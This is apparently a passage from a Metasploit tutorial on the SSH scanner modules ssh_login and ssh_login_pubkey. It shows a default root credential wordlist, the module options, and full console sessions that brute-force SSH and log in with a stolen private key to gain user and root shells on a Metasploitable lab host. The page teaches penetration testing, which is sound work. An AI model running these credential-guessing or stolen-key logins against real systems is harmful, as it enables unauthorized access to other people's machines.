

Scanner SSH Auxiliary Modules a11y.text Scanner SSH Auxiliary Modules ssh\_login a11y.text  
ssh\_login The ssh\_login module is quite versatile in that it can not only test a set of credentials across a range of IP addresses, but it can also perform brute force login attempts. We will pass a file to the module containing usernames and passwords separated by a space as shown below.

```
root@kali : ~ # head /usr/share/metasploit-framework/data/wordlists/root_userpass.txt root
```

```
root !root
```

```
root Cisco
```

```
root NeXT
```

```
root QNX
```

```
root admin
```

```
root attack
```

```
root ax400
```

```
root bagabu
```

root blablabla Next, we load up the scanner module in Metasploit and set USERPASS\_FILE to point to our list of credentials to attempt. msf > use auxiliary/scanner/ssh/ssh\_login

```
msf auxiliary(ssh_login) > show options
```

Module options (auxiliary/scanner/ssh/ssh\_login):

| Name             | Current Setting | Required | Description  |
|------------------|-----------------|----------|--|
| ----             | -----           | -----    | -----  |
| BLANK_PASSWORDS  | false           | no       | Try blank passwords for all users                            |
| BRUTEFORCE_SPEED | 5               | yes      | How fast to bruteforce, from 0 to 5                          |
| DB_ALL_CREDS     | false           | no       | Try each user/password couple stored in the current database |
| DB_ALL_PASS      | false           | no       | Add all passwords in the current database to the list        |

|                 |       |     |  |
|-----------------|-------|-----|--|
| DB_ALL_USERS    | false | no  | Add all users in the current database to the list                            |
| PASSWORD        |       | no  | A specific password to authenticate with                                     |
| PASS_FILE       |       | no  | File containing passwords, one per line                                      |
| RHOSTS          |       | yes | The target address range or CIDR identifier                                  |
| RPORT           | 22    | yes | The target port  |
| STOP_ON_SUCCESS | false | yes | Stop guessing when a credential works for a host                             |
| THREADS         | 1     | yes | The number of concurrent threads   |
| USERNAME        |       | no  | A specific username to authenticate as                                       |
| USERPASS_FILE   |       | no  | File containing users and passwords separated by space,<br>one pair per line |
| USER_AS_PASS    | false | no  | Try the username as the password for all users                               |
| USER_FILE       |       | no  | File containing usernames, one per line                                      |
| VERBOSE         | true  | yes | Whether to print output for all attempts                                     |

```
msf auxiliary(ssh_login) > set RHOSTS 192.168.1.154
```

```
RHOSTS => 192.168.1.154
```

```
msf auxiliary(ssh_login) > set USERPASS_FILE
```

```
/usr/share/metasploit-framework/data/wordlists/root_userpass.txt
```

```
USERPASS_FILE => /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
```

```
msf auxiliary(ssh_login) > set VERBOSE false
```

```
VERBOSE => false With everything ready to go, we run the module. When a valid credential pair is found, we are presented with a shell on the remote machine. msf auxiliary(ssh_login) > run
```

```
[*] 192.168.1.154:22 - SSH - Starting buteforce
```

```
[*] Command shell session 1 opened (?? -> ??) at 2010-09-09 17:25:18 -0600
```

```
[+] 192.168.1.154:22 - SSH - Success: 'msfadmin':'msfadmin' 'uid=1000(msfadmin)
```

```
gid=1000(msfadmin)
```

```
groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),  
111(lpadmin),112(admin),119(smbshare),1000(msfadmin) Linux metasploitable 2.6.24-16-server
```

```
#1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
```

```
[*] Scanned 1 of 1 hosts (100% complete)
```

```
[*] Auxiliary module execution completed
```

```
msf auxiliary(ssh_login) > sessions -i 1
```

```
[*] Starting interaction with 1...
```

```
id
```

```
uid=1000(msfadmin) gid=1000(msfadmin)
```

```
groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),  
111(lpadmin),112(admin),119(smbshare),1000(msfadmin)
```

```
uname -a
```

```
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
```

```
exit
```

```
[*] Command shell session 1 closed.
```

```
msf auxiliary(ssh_login) > ssh_login_pubkey a11y.text ssh_login_pubkey Using public key
```

authentication for SSH is highly regarded as being far more secure than using usernames and passwords to authenticate. The caveat to this is that if the private key portion of the key pair is not kept secure, the security of the configuration is thrown right out the window. If, during an engagement, you get access to a private SSH key, you can use the ssh\_login\_pubkey module to attempt to login across a range of devices. msf > use auxiliary/scanner/ssh/ssh\_login\_pubkey

```
msf auxiliary(ssh_login_pubkey) > show options
```

```
Module options (auxiliary/scanner/ssh/ssh_login_pubkey):
```

| Name             | Current Setting | Required | Description   |
|------------------|-----------------|----------|---|
| ----             | -----           | -----    | -----   |
| BRUTEFORCE_SPEED | 5               | yes      | How fast to bruteforce, from 0 to 5   |
| DB_ALL_CREDS     | false           | no       | Try each user/password couple stored in the current database  |
| DB_ALL_PASS      | false           | no       | Add all passwords in the current database to the list   |
| DB_ALL_USERS     | false           | no       | Add all users in the current database to the list   |
| KEY_PATH         |                 | yes      | Filename or directory of cleartext private keys. Filenames beginning with a dot, or ending in ".pub" will be skipped. |
| RHOSTS           |                 | yes      | The target address range or CIDR identifier   |
| RPORT            | 22              | yes      | The target port   |
| STOP_ON_SUCCESS  | false           | yes      | Stop guessing when a credential works for a host  |
| THREADS          | 1               | yes      | The number of concurrent threads  |
| USERNAME         |                 | no       | A specific username to authenticate as  |
| USER_FILE        |                 | no       | File containing usernames, one per line   |
| VERBOSE          | true            | yes      | Whether to print output for all attempts  |

```
msf auxiliary(ssh_login_pubkey) > set KEY_FILE /tmp/id_rsa
```

```
KEY_FILE => /tmp/id_rsa
```

```
msf auxiliary(ssh_login_pubkey) > set USERNAME root
```

```
USERNAME => root
```

```
msf auxiliary(ssh_login_pubkey) > set RHOSTS 192.168.1.154
```

```
RHOSTS => 192.168.1.154
```

```
msf auxiliary(ssh_login_pubkey) > run
```

[\*] 192.168.1.154:22 - SSH - Testing Cleartext Keys

[\*] 192.168.1.154:22 - SSH - Trying 1 cleartext key per user.

[\*] Command shell session 1 opened (?? -> ??) at 2010-09-09 17:17:56 -0600

[+] 192.168.1.154:22 - SSH - Success: 'root':'57:c3:11:5d:77:c5:63:90:33:2d:c5:c4:99:78:62:7a'

'uid=0(root) gid=0(root) groups=0(root) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '

[\*] Scanned 1 of 1 hosts (100% complete)

[\*] Auxiliary module execution completed

msf auxiliary(ssh\_login\_pubkey) > sessions -i 1

[\*] Starting interaction with 1...

ls

reset\_logs.sh

id

uid=0(root) gid=0(root) groups=0(root)

exit

[\*] Command shell session 1 closed.

msf auxiliary(ssh\_login\_pubkey) > [Next](#) [Scanner](#) [Telnet](#) [Auxiliary](#) [Modules](#) [Prev](#) [Scanner](#) [SNMP](#)

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